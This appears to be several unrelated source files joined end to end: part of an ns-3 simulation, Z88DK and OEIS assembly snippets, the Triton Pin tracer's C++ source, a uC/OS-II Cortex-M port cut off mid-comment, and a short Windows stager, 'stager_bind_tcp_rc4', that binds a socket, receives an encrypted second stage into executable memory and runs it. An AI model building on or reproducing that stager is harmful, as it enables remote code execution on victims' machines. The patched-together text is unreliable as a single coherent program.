(10.0)); // Create an optional packet sink to receive these packets PacketSinkHelper sink ("ns3::UdpSocketFactory", Address (InetSocketAddress (Ipv4Address::GetAny (), port))); ApplicationContainer sink1 = sink.Install (n1); sink1.Start (Seconds (1.0)); sink1.Stop (Seconds (10.0)); // // Create a similar flow from n3 to n0, starting at time 1.1 seconds // onoff.SetAttribute ("Remote", AddressValue (InetSocketAddress (Ipv4Address ("10.1.1.2"), port))); ApplicationContainer app2 = onoff.Install (n3); app2.Start (Seconds (1.1)); app2.Stop (Seconds (10.0)); ApplicationContainer sink2 = sink.Install (n0); sink2.Start (Seconds (1.1)); sink2.Stop (Seconds (10.0)); NS_LOG_INFO ("Configure Tracing."); // // Configure tracing of all enqueue, dequeue, and NetDevice receive events. // Trace output will be sent to the file "csma-bridge-one-hop.tr" // AsciiTraceHelper ascii; csma.EnableAsciiAll (ascii.CreateFileStream ("csma-bridge-one-hop.tr")); // // Also configure some tcpdump traces; each interface will be traced. // The output files will be named: // csma-bridge-one-hop-<nodeId>-<interfaceId>.pcap // and can be read by the "tcpdump -r" command (use "-tt" option to // display timestamps correctly) // csma.EnablePcapAll ("csma-bridge-one-hop", false); // // Now, do the actual simulation. // NS_LOG_INFO ("Run Simulation."); Simulator::Run (); Simulator::Destroy (); NS_LOG_INFO ("Done."); }
; ; OZ-7xx DK emulation layer for Z88DK ; by Stefano Bodrato - Oct. 2003 ; ; int ozgetpoint(int x, int y); ; ; ------ ; $Id: ozgetpoint.asm,v 1.2 2015/01/19 01:33:01 pauloscustodio Exp $ ; PUBLIC ozgetpoint EXTERN pointxy EXTERN swapgfxbk .ozgetpoint ld ix,0 add ix,sp ld l,(ix+2) ld h,(ix+4) call swapgfxbk call pointxy ex af,af' call swapgfxbk ex af,af' ld hl,0 ret z ;pixel set inc hl ret
; A073093: Number of prime power divisors of n. ; 1,2,2,3,2,3,2,4,3,3,2,4,2,3,3,5,2,4,2,4,3,3,2,5,3,3,4,4,2,4,2,6,3,3,3,5,2,3,3,5,2,4,2,4,4,3,2,6,3,4,3,4,2,5,3,5,3,3,2,5,2,3,4,7,3,4,2,4,3,4,2,6,2,3,4,4,3,4,2,6,5,3,2,5,3,3,3,5,2,5,3,4,3,3,3,7,2,4,4,5,2,4,2,5,4,3,2,6,2,4,3,6,2,4,3,4,4,3,3,6,3,3,3,4,4,5,2,8,3,4,2,5,3,3,5,5,2,4,2,5,3,3,3,7,3,3,4,4,2,5,2,5,4,4,3,5,2,3,3,7,3,6,2,4,4,3,2,6,3,4,4,4,2,4,4,6,3,3,2,6,2,4,3,5,3,4,3,4,5,4,2,8,2,3,4,5,2,5,2,6,3,3,3,5,3,3,4,6,3,5,2,4,3,3,3,7,3,3,3,5,3,4,2,7,5,3,2,5,2,4,4,5,2,5,3,4,3,4,2,7,2,4,6,4,4,4,3,5,3,5 mov $1,$0 cal $0,86436 ; Maximum number of parts possible in a factorization of n; a(1) = 1, and for n > 1, a(n) = A001222(n) = bigomega(n). mov $2,17 lpb $2,1 sub $0,1 mul $1,$2 mov $2,$1 lpe mov $1,$0 add $1,1
; A110595: a(1)=5. For n > 1, a(n) = 4*5^(n-1) = A005054(n). ; 5,20,100,500,2500,12500,62500,312500,1562500,7812500,39062500,195312500,976562500,4882812500,24414062500,122070312500,610351562500,3051757812500,15258789062500,76293945312500,381469726562500,1907348632812500,9536743164062500,47683715820312500,238418579101562500,1192092895507812500,5960464477539062500,29802322387695312500,149011611938476562500,745058059692382812500,3725290298461914062500,18626451492309570312500,93132257461547851562500,465661287307739257812500,2328306436538696289062500,11641532182693481445312500,58207660913467407226562500,291038304567337036132812500,1455191522836685180664062500,7275957614183425903320312500,36379788070917129516601562500,181898940354585647583007812500,909494701772928237915039062500,4547473508864641189575195312500,22737367544323205947875976562500,113686837721616029739379882812500,568434188608080148696899414062500,2842170943040400743484497070312500,14210854715202003717422485351562500,71054273576010018587112426757812500,355271367880050092935562133789062500 mov $1,5 pow $1,$0 mul $1,8 add $1,7 div $1,10 mul $1,5 mov $0,$1
//! \file /* ** Copyright (C) - Triton ** ** This program is under the terms of the BSD License. */ /* libTriton */ #include <triton/pythonBindings.hpp> #include <triton/api.hpp> #include <csignal> #include <cstring> #include <iostream> #include <stdexcept> #include <string> #include <pin.H> /* Pintool */ #include "api.hpp" #include "bindings.hpp" #include "context.hpp" #include "snapshot.hpp" #include "trigger.hpp" #include "utils.hpp" /*! \page Tracer_page Pintool tracer \brief [**internal**] All information about how to plug a tracer. \tableofcontents \section Tracer_description Description <hr> <p align="center"><img src="https://triton.quarkslab.com/files/triton_v06_architecture.png"/></p> The Triton library allows you to plug any kind of tracers. E.g: Pin, Valgrind and even a database. To use the `libTriton`, your tracer must provide two kinds of information at each program point: - The current opcode executed. - A state context (register and memory). Based on these two information, Triton will translate the control flow into \ref py_AstNode_page. As an example, let assume that you have dumped a trace into a database with all registers state and memory access - these information may come from Valgrind, Pin, Qemu or whatever. The following Python code uses the Triton's API to build the semantics of each instruction stored in the database. ~~~~~~~~~~~~~{.py} #!/usr/bin/env python2 ## -*- coding: utf-8 -*- import sys import struct from triton import ARCH, Instruction, MemoryAccess from database import Manager unpack_size = {1: 'B', 2: 'H', 4: 'I', 8: 'Q', 16: 'QQ'} if __name__ == '__main__': # Get the current Triton context ctxt = getTritonContext() # Connect to the database db = Manager().connect() # inst_id is the instruction id into the database. inst_id = 1 while True: # Get opcode (from database) opcode = db.get_opcode_from_inst_id(inst_id) if opcode is None: break # Get concrete register value (from database) regs = db.get_registers_from_inst_id(inst_id) # Build the Triton instruction inst = Instruction() # Setup opcode inst.setOpcode(opcode) # Setup Address inst.setAddress(regs['rip']) # Update concrete register state ctxt.setConcreteRegisterValue(ctxt.registers.rax, regs['rax']) ctxt.setConcreteRegisterValue(ctxt.registers.rbx, regs['rbx']) ctxt.setConcreteRegisterValue(ctxt.registers.rcx, regs['rcx']) ctxt.setConcreteRegisterValue(ctxt.registers.rdx, regs['rdx']) ctxt.setConcreteRegisterValue(ctxt.registers.rdi, regs['rdi']) ctxt.setConcreteRegisterValue(ctxt.registers.rsi, regs['rsi']) ctxt.setConcreteRegisterValue(ctxt.registers.rbp, regs['rbp']) ctxt.setConcreteRegisterValue(ctxt.registers.rsp, regs['rsp']) ctxt.setConcreteRegisterValue(ctxt.registers.rip, regs['rip']) ctxt.setConcreteRegisterValue(ctxt.registers.r8, regs['r8']) ctxt.setConcreteRegisterValue(ctxt.registers.r9, regs['r9']) ctxt.setConcreteRegisterValue(ctxt.registers.r10, regs['r10']) ctxt.setConcreteRegisterValue(ctxt.registers.r11, regs['r11']) ctxt.setConcreteRegisterValue(ctxt.registers.r12, regs['r12']) ctxt.setConcreteRegisterValue(ctxt.registers.r13, regs['r13']) ctxt.setConcreteRegisterValue(ctxt.registers.r14, regs['r14']) ctxt.setConcreteRegisterValue(ctxt.registers.r15, regs['r15']) ctxt.setConcreteRegisterValue(ctxt.registers.eflags, regs['eflags']) ctxt.setConcreteRegisterValue(ctxt.registers.fs, regs['fs']) # The mapped base address ctxt.setConcreteRegisterValue(ctxt.registers.gs, regs['gs']) # The mapped base address # Update concrete memory access accesses = db.get_memory_access_from_inst_id(inst_id) # Update memory access for access in accesses: if access['kind'] == 'R': address = access['addr'] data = access['data'] value = struct.unpack(unpack_size[len(data)], data)[0] ctxt.setConcreteMemoryValue(MemoryAccess(address, len(data), value)) # Process everything (build IR, spread taint, perform simplification, ...) ctxt.processing(inst) # At this point, all engines inside the Triton library were been synchronized with the concrete state. # Display instruction print inst # Display symbolic expressions for expr in inst.getSymbolicExpressions(): print '\t', expr # Next instruction (from the database) inst_id += 1 sys.exit(0) ~~~~~~~~~~~~~ The database connection is a pure example to show you how to interact with the Triton API. As Triton is written in `C++`, you can directly create your Triton instruction inside a DBI engine (like Pin or Valgrind). According to your tracer, you can refer to the [Python](https://triton.quarkslab.com/documentation/doxygen/py_triton_page.html) or the [C++](https://triton.quarkslab.com/documentation/doxygen/classtriton_1_1API.html) API. \section Tracer_pintool The Triton's pintool <hr> This project is shippied with a pintool as tracer. Basically, you can add callbacks, get current registers and memory values, inject values into registers and memory, start and stop analysis at specific points, select what images are jitted or not, interact with the Triton API and many more... All information about the pintool API is describe at this following page \ref pintool_py_api. Below, some examples. <hr> \subsection Tracer_pintool_example_1 Example - Display IR \include pin/ir.py <hr> \subsection Tracer_pintool_example_2 Example - Runtime Memory Tainting \include pin/runtime_memory_tainting.py <hr> \subsection Tracer_pintool_example_3 Example - Runtime Register Modification \include pin/runtime_register_modification.py <hr> \subsection Tracer_pintool_example_4 Example - Blacklist images \include pin/blacklist.py <hr> \subsection Tracer_pintool_example_5 Example - Callback on image \include pin/callback_image.py <hr> \subsection Tracer_pintool_example_6 Example - Callback on routine \include pin/callback_routine.py <hr> \subsection Tracer_pintool_example_7 Example - Callback on signals \include pin/callback_signals.py <hr> \subsection Tracer_pintool_example_8 Example - Callback on syscalls \include pin/callback_syscall.py */ namespace tracer { namespace pintool { //! Pin options: -script KNOB<std::string> KnobPythonModule(KNOB_MODE_WRITEONCE, "pintool", "script", "", "Python script"); //! Lock / Unlock InsertCall Trigger analysisTrigger = Trigger(); //! Snapshot engine Snapshot snapshot = Snapshot(); /* Switch lock */ static void toggleWrapper(bool flag) { PIN_LockClient(); tracer::pintool::analysisTrigger.update(flag); PIN_UnlockClient(); } /* Callback before instruction processing */ static void callbackBefore(triton::arch::Instruction* tritonInst, triton::uint8* addr, triton::uint32 size, CONTEXT* ctx, THREADID threadId) { /* Some configurations must be applied before processing */ tracer::pintool::callbacks::preProcessing(tritonInst, threadId); if (!tracer::pintool::analysisTrigger.getState() || threadId != tracer::pintool::options::targetThreadId) /* Analysis locked */ return; /* Mutex */ PIN_LockClient(); /* Update CTX */ tracer::pintool::context::lastContext = ctx; /* Setup Triton information */ tritonInst->clear(); tritonInst->setOpcode(addr, size); tritonInst->setAddress(reinterpret_cast<triton::__uint>(addr)); tritonInst->setThreadId(reinterpret_cast<triton::uint32>(threadId)); /* Disassemble the instruction */ tracer::pintool::api.disassembly(*tritonInst); /* Execute the Python callback before the IR processing */ if (tracer::pintool::context::mustBeExecuted == false) tracer::pintool::callbacks::beforeIRProc(tritonInst); else tracer::pintool::context::mustBeExecuted = false; /* Check if we must execute a new context */ if (tracer::pintool::context::mustBeExecuted == true) { tritonInst->clear(); tracer::pintool::context::executeContext(); } /* Synchronize gliches between Pintool and libTriton */ tracer::pintool::context::synchronizeContext(); /* Process the IR and spread taint only if one of both engines are enabled */ if (tracer::pintool::api.isTaintEngineEnabled() || tracer::pintool::api.isSymbolicEngineEnabled()) tracer::pintool::api.buildSemantics(*tritonInst); /* Execute the Python callback */ if (tracer::pintool::context::mustBeExecuted == false) tracer::pintool::callbacks::before(tritonInst); /* Check if we must restore the snapshot */ if (tracer::pintool::snapshot.mustBeRestored() == true) { tritonInst->clear(); tracer::pintool::snapshot.restoreSnapshot(ctx); } /* Some configurations must be applied after processing */ tracer::pintool::callbacks::postProcessing(tritonInst, threadId); /* Mutex */ PIN_UnlockClient(); } /* Callback after instruction processing */ static void callbackAfter(triton::arch::Instruction* tritonInst, CONTEXT* ctx, THREADID threadId) { if (!tracer::pintool::analysisTrigger.getState() || threadId != tracer::pintool::options::targetThreadId) /* Analysis locked */ return; /* Mutex */ PIN_LockClient(); /* Update CTX */ tracer::pintool::context::lastContext = ctx; /* Execute the Python callback */ tracer::pintool::callbacks::after(tritonInst); /* Some configurations must be applied after processing */ tracer::pintool::callbacks::postProcessing(tritonInst, threadId); /* Clear Instruction information because of the Pin's cache */ tritonInst->clear(); /* Check if we must execute a new context */ if (tracer::pintool::context::mustBeExecuted == true) tracer::pintool::context::executeContext(); /* Check if we must restore the snapshot */ if (tracer::pintool::snapshot.mustBeRestored() == true) tracer::pintool::snapshot.restoreSnapshot(ctx); /* Mutex */ PIN_UnlockClient(); } /* Save the memory access into the Triton instruction */ static void saveMemoryAccess(triton::arch::Instruction* tritonInst, triton::__uint addr, triton::uint32 size) { /* Mutex */ PIN_LockClient(); auto mem = triton::arch::MemoryAccess(addr, size); auto value = tracer::pintool::context::getCurrentMemoryValue(addr, size); tracer::pintool::api.getCpuInstance()->setConcreteMemoryValue(mem, value); /* Mutex */ PIN_UnlockClient(); } /* Callback to save bytes for the snapshot engine */ static void callbackSnapshot(triton::__uint mem, triton::uint32 writeSize) { if (!tracer::pintool::analysisTrigger.getState()) /* Analysis locked */ return; /* If the snapshot is not enable we don't save the memory */ if (tracer::pintool::snapshot.isLocked()) return; /* Mutex */ PIN_LockClient(); for (triton::uint32 i = 0; i < writeSize ; i++) tracer::pintool::snapshot.addModification(mem+i, *(reinterpret_cast<triton::uint8*>(mem+i))); /* Mutex */ PIN_UnlockClient(); } /* Callback at a routine entry */ static void callbackRoutineEntry(CONTEXT* ctx, THREADID threadId, PyObject* callback) { if (!tracer::pintool::analysisTrigger.getState() || threadId != tracer::pintool::options::targetThreadId) /* Analysis locked */ return; /* Mutex lock */ PIN_LockClient(); /* Update CTX */ tracer::pintool::context::lastContext = ctx; /* Execute the Python callback */ tracer::pintool::callbacks::routine(threadId, callback); /* Mutex unlock */ PIN_UnlockClient(); } /* Callback at a routine exit */ static void callbackRoutineExit(CONTEXT* ctx, THREADID threadId, PyObject* callback) { if (!tracer::pintool::analysisTrigger.getState() || threadId != tracer::pintool::options::targetThreadId) /* Analysis locked */ return; /* Mutex lock */ PIN_LockClient(); /* Update CTX */ tracer::pintool::context::lastContext = ctx; /* Execute the Python callback */ tracer::pintool::callbacks::routine(threadId, callback); /* Mutex unlock */ PIN_UnlockClient(); } /* Callback at the end of the execution */ static void callbackFini(int, VOID *) { /* Execute the Python callback */ tracer::pintool::callbacks::fini(); } /* Callback at a syscall entry */ static void callbackSyscallEntry(unsigned int threadId, CONTEXT* ctx, SYSCALL_STANDARD std, void* v) { if (!tracer::pintool::analysisTrigger.getState() || threadId != tracer::pintool::options::targetThreadId) /* Analysis locked */ return; /* Mutex */ PIN_LockClient(); /* Update CTX */ tracer::pintool::context::lastContext = ctx; /* Execute the Python callback */ tracer::pintool::callbacks::syscallEntry(threadId, std); /* Mutex */ PIN_UnlockClient(); } /* Callback at the syscall exit */ static void callbackSyscallExit(unsigned int threadId, CONTEXT* ctx, SYSCALL_STANDARD std, void* v) { if (!tracer::pintool::analysisTrigger.getState() || threadId != tracer::pintool::options::targetThreadId) /* Analysis locked */ return; /* Mutex */ PIN_LockClient(); /* Update CTX */ tracer::pintool::context::lastContext = ctx; /* Execute the Python callback */ tracer::pintool::callbacks::syscallExit(threadId, std); /* Mutex */ PIN_UnlockClient(); } /* * Callback when an image is loaded. * This callback must be called even outside the range analysis. */ static void callbackImageLoad(IMG img) { /* Mutex */ PIN_LockClient(); /* Collect image information */ std::string imagePath = IMG_Name(img); triton::__uint imageBase = IMG_LowAddress(img); triton::__uint imageSize = (IMG_HighAddress(img) + 1) - imageBase; /* Execute the Python callback */ tracer::pintool::callbacks::imageLoad(imagePath, imageBase, imageSize); /* Mutex */ PIN_UnlockClient(); } /* Callback when a signals occurs */ static bool callbackSignals(unsigned int threadId, int sig, CONTEXT* ctx, bool hasHandler, const EXCEPTION_INFO* pExceptInfo, void* v) { /* Mutex */ PIN_LockClient(); /* Update CTX */ tracer::pintool::context::lastContext = ctx; /* Execute the Python callback */ tracer::pintool::callbacks::signals(threadId, sig); /* Mutex */ PIN_UnlockClient(); /* * We must exit. If you don't want to exit, * you must use the restoreSnapshot() function. */ exit(0); return true; } /* Image instrumentation */ static void IMG_Instrumentation(IMG img, void *v) { /* Lock / Unlock the Analysis from a Entry point */ if (tracer::pintool::options::startAnalysisFromEntry) { tracer::pintool::options::startAnalysisFromEntry = false; /* IMG_LoadOffset(img) + IMG_Entry(img) for PIE binaries (see #524) */ tracer::pintool::options::startAnalysisFromAddress.insert(IMG_LoadOffset(img) + IMG_Entry(img)); } /* Lock / Unlock the Analysis from a symbol */ if (tracer::pintool::options::startAnalysisFromSymbol != nullptr){ RTN targetRTN = RTN_FindByName(img, tracer::pintool::options::startAnalysisFromSymbol); if (RTN_Valid(targetRTN)) { RTN_Open(targetRTN); RTN_InsertCall(targetRTN, IPOINT_BEFORE, (AFUNPTR) toggleWrapper, IARG_BOOL, true, IARG_END); RTN_InsertCall(targetRTN, IPOINT_AFTER, (AFUNPTR) toggleWrapper, IARG_BOOL, false, IARG_END); RTN_Close(targetRTN); } } /* Callback on routine entry */ std::map<const char *, PyObject *>::iterator it; for (it = tracer::pintool::options::callbackRoutineEntry.begin(); it != tracer::pintool::options::callbackRoutineEntry.end(); it++) { RTN targetRTN = RTN_FindByName(img, it->first); if (RTN_Valid(targetRTN)){ RTN_Open(targetRTN); RTN_InsertCall(targetRTN, IPOINT_BEFORE, (AFUNPTR)callbackRoutineEntry, IARG_CONTEXT, IARG_THREAD_ID, IARG_PTR, it->second, IARG_END); RTN_Close(targetRTN); } } /* Callback on routine exit */ for (it = tracer::pintool::options::callbackRoutineExit.begin(); it != tracer::pintool::options::callbackRoutineExit.end(); it++) { RTN targetRTN = RTN_FindByName(img, it->first); if (RTN_Valid(targetRTN)){ RTN_Open(targetRTN); RTN_InsertCall(targetRTN, IPOINT_AFTER, (AFUNPTR)callbackRoutineExit, IARG_CONTEXT, IARG_THREAD_ID, IARG_PTR, it->second, IARG_END); RTN_Close(targetRTN); } } /* * Callback when a new image is loaded. * This callback must be called even outside the range analysis. */ if (IMG_Valid(img)) tracer::pintool::callbackImageLoad(img); } /* Check if the analysis must be unlocked */ static bool checkUnlockAnalysis(triton::__uint address) { if (tracer::pintool::options::targetThreadId != -1) return false; /* Unlock the analysis at the entry point from symbol */ if (tracer::pintool::options::startAnalysisFromSymbol != nullptr) { if ((RTN_FindNameByAddress(address) == tracer::pintool::options::startAnalysisFromSymbol)) { tracer::pintool::options::targetThreadId = PIN_ThreadId(); tracer::pintool::toggleWrapper(true); return true; } } /* Unlock the analysis at the entry point from address */ else if (tracer::pintool::options::startAnalysisFromAddress.find(address) != tracer::pintool::options::startAnalysisFromAddress.end()) { tracer::pintool::options::targetThreadId = PIN_ThreadId(); tracer::pintool::toggleWrapper(true); return true; } /* Unlock the analysis at the entry point from offset */ else if (tracer::pintool::options::startAnalysisFromOffset.find(tracer::pintool::getInsOffset(address)) != tracer::pintool::options::startAnalysisFromOffset.end()) { tracer::pintool::options::targetThreadId = PIN_ThreadId(); tracer::pintool::toggleWrapper(true); return true; } return false; } /* Check if the instruction is blacklisted */ static bool instructionBlacklisted(triton::__uint address) { for (const char* name: tracer::pintool::options::imageBlacklist) { if (strstr(tracer::pintool::getImageName(address).c_str(), name)) return true; } return false; } /* Check if the instruction is whitelisted */ static bool instructionWhitelisted(triton::__uint address) { /* If there is no whitelist -> jit everything */ if (tracer::pintool::options::imageWhitelist.empty()) return true; for (const char* name: tracer::pintool::options::imageWhitelist) { if (strstr(tracer::pintool::getImageName(address).c_str(), name)) return true; } return false; } /* Trace instrumentation */ static void TRACE_Instrumentation(TRACE trace, VOID *v) { for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl)) { for (INS ins = BBL_InsHead(bbl); INS_Valid(ins); ins = INS_Next(ins)) { /* Check if the analysis me be unlocked */ tracer::pintool::checkUnlockAnalysis(INS_Address(ins)); if (!tracer::pintool::analysisTrigger.getState()) /* Analysis locked */ continue; if (tracer::pintool::instructionBlacklisted(INS_Address(ins)) == true || tracer::pintool::instructionWhitelisted(INS_Address(ins)) == false) /* Insruction blacklisted */ continue; /* Prepare the Triton's instruction */ triton::arch::Instruction* tritonInst = new triton::arch::Instruction(); /* Save memory read1 informations */ if (INS_IsMemoryRead(ins)) { INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)saveMemoryAccess, IARG_PTR, tritonInst, IARG_MEMORYREAD_EA, IARG_MEMORYREAD_SIZE, IARG_END); } /* Save memory read2 informations */ if (INS_HasMemoryRead2(ins)) { INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)saveMemoryAccess, IARG_PTR, tritonInst, IARG_MEMORYREAD2_EA, IARG_MEMORYREAD_SIZE, IARG_END); } /* Callback before */ INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)callbackBefore, IARG_PTR, tritonInst, IARG_INST_PTR, IARG_UINT32, INS_Size(ins), IARG_CONTEXT, IARG_THREAD_ID, IARG_END); /* Callback after */ /* Syscall after context must be catcher with INSERT_POINT.SYSCALL_EXIT */ if (INS_IsSyscall(ins) == false) { IPOINT where = IPOINT_AFTER; if (INS_HasFallThrough(ins) == false) where = IPOINT_TAKEN_BRANCH; INS_InsertCall(ins, where, (AFUNPTR)callbackAfter, IARG_PTR, tritonInst, IARG_CONTEXT, IARG_THREAD_ID, IARG_END); } /* I/O memory monitoring for snapshot */ if (INS_OperandCount(ins) > 1 && INS_MemoryOperandIsWritten(ins, 0)) { INS_InsertCall( ins, IPOINT_BEFORE, (AFUNPTR)callbackSnapshot, IARG_MEMORYOP_EA, 0, IARG_UINT32, INS_MemoryWriteSize(ins), IARG_END); } } } } /* Usage function */ static triton::sint32 Usage() { std::cerr << KNOB_BASE::StringKnobSummary() << std::endl; return -1; } //! The pintool's entry point int main(int argc, char* argv[]) { PIN_InitSymbols(); PIN_SetSyntaxIntel(); if(PIN_Init(argc, argv)) return Usage(); /* Define Triton architecure */ if (sizeof(void*) == QWORD_SIZE) tracer::pintool::api.setArchitecture(triton::arch::ARCH_X86_64); else tracer::pintool::api.setArchitecture(triton::arch::ARCH_X86); /* During the execution provide concrete values only if Triton needs them - cf #376, #632 and #645 */ tracer::pintool::api.addCallback(tracer::pintool::context::needConcreteMemoryValue); /* Image callback */ IMG_AddInstrumentFunction(IMG_Instrumentation, nullptr); /* Instruction callback */ TRACE_AddInstrumentFunction(TRACE_Instrumentation, nullptr); /* End instrumentation callback */ PIN_AddFiniFunction(callbackFini, nullptr); /* Syscall entry callback */ PIN_AddSyscallEntryFunction(callbackSyscallEntry, nullptr); /* Syscall exit callback */ PIN_AddSyscallExitFunction(callbackSyscallExit, nullptr); /* Signals callback */ PIN_InterceptSignal(SIGHUP, callbackSignals, nullptr); PIN_InterceptSignal(SIGINT, callbackSignals, nullptr); PIN_InterceptSignal(SIGQUIT, callbackSignals, nullptr); PIN_InterceptSignal(SIGILL, callbackSignals, nullptr); PIN_InterceptSignal(SIGABRT, callbackSignals, nullptr); PIN_InterceptSignal(SIGFPE, callbackSignals, nullptr); PIN_InterceptSignal(SIGKILL, callbackSignals, nullptr); PIN_InterceptSignal(SIGSEGV, callbackSignals, nullptr); PIN_InterceptSignal(SIGPIPE, callbackSignals, nullptr); PIN_InterceptSignal(SIGALRM, callbackSignals, nullptr); PIN_InterceptSignal(SIGTERM, callbackSignals, nullptr); PIN_InterceptSignal(SIGBUS, callbackSignals, nullptr); /* Init the triton and pintool python module */ PyImport_AppendInittab("pintool", tracer::pintool::initpintool); #if IS_PY3 PyImport_AppendInittab("triton", triton::bindings::python::PyInit_triton); #else PyImport_AppendInittab("triton", triton::bindings::python::inittriton); #endif /* Init python */ Py_Initialize(); /* Init the pintool python arguments */ tracer::pintool::initPythonArgs(argc, argv); /* Exec the Pin's python bindings */ tracer::pintool::execScript(KnobPythonModule.Value().c_str()); return 0; } }; }; //! namespace trampoline int main(int argc, char *argv[]) { return tracer::pintool::main(argc, argv); }
;-----------------------------------------------------------------------------; ; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) ; Michael Schierl (schierlm[at]gmx[dot]de) [RC4 support] ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ; Version: 1.0 (31 December 2012) ; Size: 413 bytes ; Build: >build.py stager_bind_tcp_rc4 ;-----------------------------------------------------------------------------; [BITS 32] [ORG 0] cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. %include "./src/block/block_api.asm" start: ; pop ebp ; pop off the address of 'api_call' for calling later. %include "./src/block/block_bind_tcp.asm" ; By here we will have performed the bind_tcp connection and EDI will be our socket. %include "./src/block/block_recv_rc4.asm" ; By now we will have received in the second stage into a RWX buffer and be executing it
;******************************************************************************************************** ; uC/OS-II ; The Real-Time Kernel ; ; Copyright 1992-2021 Silicon Laboratories Inc. www.silabs.com ; ; SPDX-License-Identifier: APACHE-2.0 ; ; This software is subject to an open source license and is distributed by ; Silicon Laboratories Inc. pursuant to the terms of the Apache License, ; Version 2.0 available at www.apache.org/licenses/LICENSE-2.0. ; ;******************************************************************************************************** ;******************************************************************************************************** ; ; ARMv7-M Port ; ; Filename : os_cpu_a.asm ; Version : V2.93.01 ;******************************************************************************************************** ; For : ARMv7-M Cortex-M ; Mode : Thumb-2 ISA ; Toolchain : IAR EWARM ;******************************************************************************************************** ; Note(s) : (1) This port supports the ARM Cortex-M3, Cortex-M4 and Cortex-M7 architectures. ; (2) It has been tested with the following Hardware Floating Point Unit. ; (a) Single-precision: FPv4-SP-D16-M and FPv5-SP-D16-M ; (b) Double-precision: FPv5-D16-M ;******************************************************************************************************** ;******************************************************************************************************** ; PUBLIC FUNCTIONS ;******************************************************************************************************** EXTERN OSRunning ; External references EXTERN OSPrioCur EXTERN OSPrioHighRdy EXTERN OSTCBCur EXTERN OSTCBHighRdy EXTERN OSIntExit EXTERN OSTaskSwHook EXTERN OS_CPU_ExceptStkBase EXTERN OS_KA_BASEPRI_Boundary PUBLIC OSStartHighRdy ; Functions declared in this file PUBLIC OS_CPU_SR_Save PUBLIC OS_CPU_SR_Restore PUBLIC OSCtxSw PUBLIC OSIntCtxSw PUBLIC OS_CPU_PendSVHandler #ifdef __ARMVFP__ PUBLIC OS_CPU_FP_Reg_Push PUBLIC OS_CPU_FP_Reg_Pop #endif ;******************************************************************************************************** ; EQUATES ;******************************************************************************************************** NVIC_INT_CTRL EQU 0xE000ED04 ; Interrupt control state register. NVIC_SYSPRI14 EQU 0xE000ED22 ; System priority register (priority 14). NVIC_PENDSV_PRI EQU 0xFF ; PendSV priority value (lowest). NVIC_PENDSVSET EQU 0x10000000 ; Value to trigger PendSV exception. ;******************************************************************************************************** ; CODE GENERATION DIRECTIVES ;******************************************************************************************************** RSEG CODE:CODE:NOROOT(2) THUMB ;******************************************************************************************************** ; FLOATING POINT REGISTERS PUSH ; void OS_CPU_FP_Reg_Push (OS_STK *stkPtr) ; ; Note(s) : 1) This function saves S16-S31 registers of the Floating Point Unit. ; ; 2) Pseudo-code is: ; a) Push remaining FPU regs S16-S31 on process stack; ; b) Update OSTCBCur->OSTCBStkPtr; ;******************************************************************************************************** #ifdef __ARMVFP__ OS_CPU_FP_Reg_Push MRS R1, PSP ; PSP is process stack pointer CBZ R1, OS_CPU_FP_nosave ; Skip FP register save the first time VSTMDB R0!, {S16-S31} LDR R1, =OSTCBCur LDR R2, [R1] STR R0, [R2] OS_CPU_FP_nosave BX LR #endif ;******************************************************************************************************** ; FLOATING POINT REGISTERS POP ; void OS_CPU_FP_Reg_Pop (OS_STK *stkPtr) ; ; Note(s) : 1) This function restores S16-S31 of the Floating Point Unit. ; ; 2) Pseudo-code is: ; a) Restore regs S16-S31 of new process stack; ; b) Update OSTCBHighRdy->OSTCBStkPtr pointer of new proces stack; ;******************************************************************************************************** #ifdef __ARMVFP__ OS_CPU_FP_Reg_Pop VLDMIA R0!, {S16-S31} LDR R1, =OSTCBHighRdy LDR R2, [R1] STR R0, [R2] BX LR #endif ;******************************************************************************************************** ; CRITICAL SECTION METHOD 3 FUNCTIONS ; ; Description : Disable/Enable Kernel aware interrupts by preserving the state of BASEPRI. Generally speaking, ; the state of the BASEPRI interrupt exception processing is stored in the local variable ; 'cpu_sr' & Kernel Aware interrupts are then disabled ('cpu_sr' is allocated in all functions ; that need to disable Kernel aware interrupts). The previous BASEPRI interrupt state is restored ; by copying 'cpu_sr' into the BASEPRI register. ; ; Prototypes : OS_CPU_SR OS_CPU_SR_Save (OS_CPU_SR new_basepri); ; void OS_CPU_SR_Restore(OS_CPU_SR cpu_sr); ; ; ; Note(s) : 1) These functions are used in general like this: ; ; void Task (void *p_arg) ; { ; #if OS_CRITICAL_METHOD == 3 /* Allocate storage for CPU status register */ ; OS_CPU_SR cpu_sr; ; #endif ; ; : ; : ; OS_ENTER_CRITICAL(); /* cpu_sr = OS_CPU_SR_Save(new_basepri); */ ; : ; : ; OS_EXIT_CRITICAL(); /* OS_CPU_RestoreSR(cpu_sr); */ ; : ; : ; } ; ; 2) Increasing priority using a write to BASEPRI does not take effect immediately. ; (a) IMPLICATION This erratum means that the instruction after an MSR to boost BASEPRI ; might incorrectly be preempted by an insufficient high priority exception. ; ; (b) WORKAROUND The MSR to boost BASEPRI can be replaced by the following code sequence: ; ; CPSID i ; MSR to BASEPRI ; DSB ; ISB ; CPSIE i ;******************************************************************************************************** OS_CPU_SR_Save CPSID I ; Cortex-M7 errata notice. See Note #2 PUSH {R1} MRS R1, BASEPRI MSR BASEPRI, R0 DSB ISB MOV R0, R1 POP {R1} CPSIE I BX LR OS_CPU_SR_Restore CPSID I ; Cortex-M7 errata notice. See Note #2 MSR BASEPRI, R0 DSB ISB CPSIE I BX LR ;******************************************************************************************************** ; START MULTITASKING ; void OSStartHighRdy(void) ; ; Note(s) : 1) This function triggers a PendSV exception (essentially, causes a context switch) to cause ; the first task to start. ; ; 2) During task execution, PSP is used as the stack pointer. ; When an exception occurs, the core will switch to MSP until the exception return. ; ; 3) OSStartHighRdy() MUST: ; a) Setup PendSV exception priority to lowest; ; b) Set initial PSP to 0, to tell context switcher this is first run; ; c) Set the main stack to OS_CPU_ExceptStkBase ; d) Set OSRunning to TRUE; ; e) Get current high priority, OSPrioCur = OSPrioHighRdy; ; f) Get current ready thread TCB, OSTCBCur = 